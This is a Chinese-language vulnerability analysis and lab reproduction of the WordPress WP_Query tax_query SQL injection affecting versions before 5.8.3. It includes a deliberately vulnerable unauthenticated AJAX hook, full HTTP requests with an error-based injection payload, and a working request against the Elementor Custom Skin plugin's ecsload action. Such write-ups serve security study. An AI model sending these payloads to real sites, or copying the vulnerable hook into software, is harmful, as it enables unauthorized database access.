漏洞简介
WP_Query
中存在 SQL 注入漏洞,WP_Query
是WordPress提供的一个用于处理复杂SQL查询的类,在WordPress核心框架和插件中使用范围非常广泛,用户可以通过WP_Query
类完成数据库查询操作,方便构建WordPress的输出内容。
受影响版本:WordPress < 5.8.3
环境搭建
下载老版本的 wordpress https://wordpress.org/wordpress-5.8.2.zip,利用 phpstudy 搭建 wordpress
下载并安装插件 Elementor Custom Skin https://downloads.wordpress.org/plugin/ele-custom-skin.zip
打开 wordpress 的 debug 模式
wp-config.php
漏洞复现
wordpress 在连网状态下会自动进行更新,所以最好在断网状态下进行分析利用
插件的利用存在一些问题,所以就先构造漏洞代码进行利用,在 wp-content/themes/twentytwentyone/functions.php 中添加代码
function wp_query_test(){
$inputData = stripslashes($_POST['data']);
$jsonDecodeInputData = json_decode($inputData,true);
$wp = new WP_Query($jsonDecodeInputData);
wp_die();
}
add_action('wp_ajax_nopriv_test','wp_query_test',0);
构造数据包
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111)+and+extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}}
默认未开启 debug 模式时,可以利用时间盲注
漏洞分析
通过存在漏洞的版本与修复漏洞的版本,发现对函数 clean_query 进行了过滤
添加了 wp_parse_id_list 对 参数 $query['terms'] 的处理,处理为 int 类型
wp-includes/class-wp-tax-query.php/WP_Tax_Query::clean_query
在满足一定条件后传入的参数 $query 会到处理函数 transform_query
满足的条件为
-
\$query['taxonomy'] 为空,$query['field'] == 'term_taxonomy_id'
-
taxonomy_exists( $query['taxonomy'] )
为true ,$query['field']
的值也为 true要同时满足这两条语句都顺利退出
因为比较是 "==" ,所以如果比较运算符有布尔值参与,就会转换布尔值进行比较,除 '0' 或 ' ' 字符串外,其他字符串对应的值都为 true
wp-includes/class-wp-tax-query.php/WP_Tax_Query::transform_query
在函数 transform_query 中,满足 $query['field'] == $resulting_field
即 $query['field'] == $ "term_taxonomy_id"
时,会直接 return,不会对用户输入的可控变量 $query
进行处理。
全局搜索对 clean_query 的调用
搜索之后发现调用仅存在 get_sql_fo_clause 中
wp-includes/class-wp-tax-query.php/WP_Tax_Query::get_sql_for_clause
get_sql_fo_clause 会处理接收到的数据,将这些数据组合成 SQL 查询语句中的条件,最后返回。因为可以控制 clean_query 的返回数据,就可以控制 SQL 语句,我们看到 $term 会被拼接到 where 语句中。
利用 ctrl+alt+h
寻找调用链
WP_Query::__construct
WP_Query::query
WP_Query::get_posts
WP_Tax_Query::get_sql
WP_Tax_Query::get_sql_clauses
WP_Tax_Query::get_sql_for_query
WP_Tax_Query::get_sql_for_clause
WP_Tax_Query::clean_query
wp-includes/class-wp-query.php/WP_Query::__construct
所以只需要存在 WP_Query($data)
且 data 可控,就可造成 SQL 注入
data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["<sqli>"]}}}
data={"tax_query":{"0":{"taxonomy":"category","field":true,"terms":["<sqli>"]}}}
漏洞插件
利用的是插件 Elementor Custom Skin 是文章 https://www.zerodayinitiative.com/blog/2022/1/18/cve-2021-21661-exposing-database-info-via-wordpress-sql-injection 中提到的插件
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 175
action=ecsload&query={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111)+and+extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}}&ecs_ajax_settings={"max_num_pages":1}
函数 get_document_data 中存在漏洞触发代码
wp-content/plugins/ele-custom-skin/includes/ajax-pagination.php/ECS_Ajax_Load::get_document_data
搜索函数 get_document_data
wp-content/plugins/ele-custom-skin/includes/ajax-pagination.php/ECS_Ajax_Load::init_ajax
发现注册了钩子,在未登录时也可触发访问到函数
wp-content/plugins/ele-custom-skin/includes/ajax-pagination.php/ECS_Ajax_Load::__construct
构造满足条件的 payload 就可以触发实现 SQL 注入